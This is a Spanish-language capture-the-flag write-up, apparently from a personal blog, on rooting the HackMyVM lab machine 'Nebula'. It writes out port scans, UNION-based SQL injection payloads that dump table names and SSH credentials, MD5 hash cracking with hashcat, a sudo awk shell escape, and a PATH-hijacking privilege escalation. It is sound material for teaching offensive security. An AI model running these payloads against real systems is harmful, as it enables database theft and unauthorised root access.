cd ~/blog

~/writeups/hmv/023-nebula.md

023 - Nebula

easy Linux hmv 10-02-2024
Credential leak (PDF)SQL Injection (UNION-based)sudo awk PrivescSUID binary + PATH Hijacking
hackmyvm.eu/machines/machine.php?vm=Nebula

~1 min de lectura


Comenzamos con un escaneo general y uno específico de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.19
 nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.19
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-10 14:46 -03
Nmap scan report for 192.168.1.19
Host is up (0.00030s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 63:9c:2e:57:91:af:1e:2e:25:ba:55:fd:ba:48:a8:60 (RSA)
|   256 d0:05:24:1d:a8:99:0e:d6:d1:e5:c5:5b:40:6a:b9:f9 (ECDSA)
|_  256 d8:4a:b8:86:9d:66:6d:7f:a4:cb:d0:73:a1:f4:b5:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Nebula Lexus Labs
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds

Enumeramos con gobuster:

...
/index.php            (Status: 200) [Size: 3479]
/img                  (Status: 200) [Size: 1121]
/login                (Status: 200) [Size: 1551]
/joinus               (Status: 200) [Size: 1712]
...

En /joinus hay un enlace a un PDF que contiene unas credenciales. Las usamos en el login y accedemos a un dashboard con un buscador de centrals y meeting room. Probamos SQL Injection en el buscador:

' UNION SELECT 1,2,3-- -

Enumeramos las bases de datos:

' UNION SELECT 1,information_schema,3 FROM schema.schemata-- -
id	role	username
1	information_schema	3
1	nebuladb	3

Confirmamos la base activa y enumeramos sus tablas:

' UNION SELECT database()-- -
id	role	username
1	nebuladb	3
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='nebuladb'-- -
id	role	username
1	centrals	3
1	users	3
1	central	3

Enumeramos las columnas de users:

' UNION SELECT 1, GROUP_CONCAT(column_name), 3 FROM information_schema.columns WHERE table_schema='nebuladb' AND table_name='users'-- -
id	role	username
1	id,username,password,is_admin	3

Volcamos sus datos (solo válidos para el login web):

' UNION SELECT 1, GROUP_CONCAT(username,0x3a,password,0x3a,is_admin), 3 FROM users-- -

La tabla centrals tiene columnas userssh y passwordssh, que son las interesantes para acceso por SSH:

' UNION SELECT 1, GROUP_CONCAT(userssh,0x3a,passwordssh), 3 FROM centrals-- -
id	role	username
1	pmccentral:c8c605999f3d8352d7bb792cf3fdb25b	3

Crackeamos el hash MD5 con hashcat:

 hashcat -a 0 -m 0 "c8c605999f3d8352d7bb792cf3fdb25b" ~/Documentos/wordlists/rockyou.txt
...
c8c605999f3d8352d7bb792cf3fdb25b:999999999
...

Nos conectamos como pmccentral y revisamos sudo -l:

pmccentral@laboratoryuser:~$ sudo -l
[sudo] password for pmccentral:
Matching Defaults entries for pmccentral on laboratoryuser:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pmccentral may run the following commands on laboratoryuser:
    (laboratoryadmin) /usr/bin/awk

Podemos ejecutar awk como laboratoryadmin, lo que aprovechamos para obtener una shell de ese usuario y la primera flag:

pmccentral@laboratoryuser:~$ sudo -u laboratoryadmin awk 'BEGIN {system("/bin/sh")}'

Analizando el directorio del usuario, encontramos un binario SUID que, según strings, invoca head por su ruta relativa. Aprovechamos esto para un PATH Hijacking: en /home/laboratoryadmin/autoScripts hay un head que ejecuta bash -p; anteponemos esa ruta al PATH y, al ejecutar el binario, obtenemos una shell con privilegios de root. Capturamos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados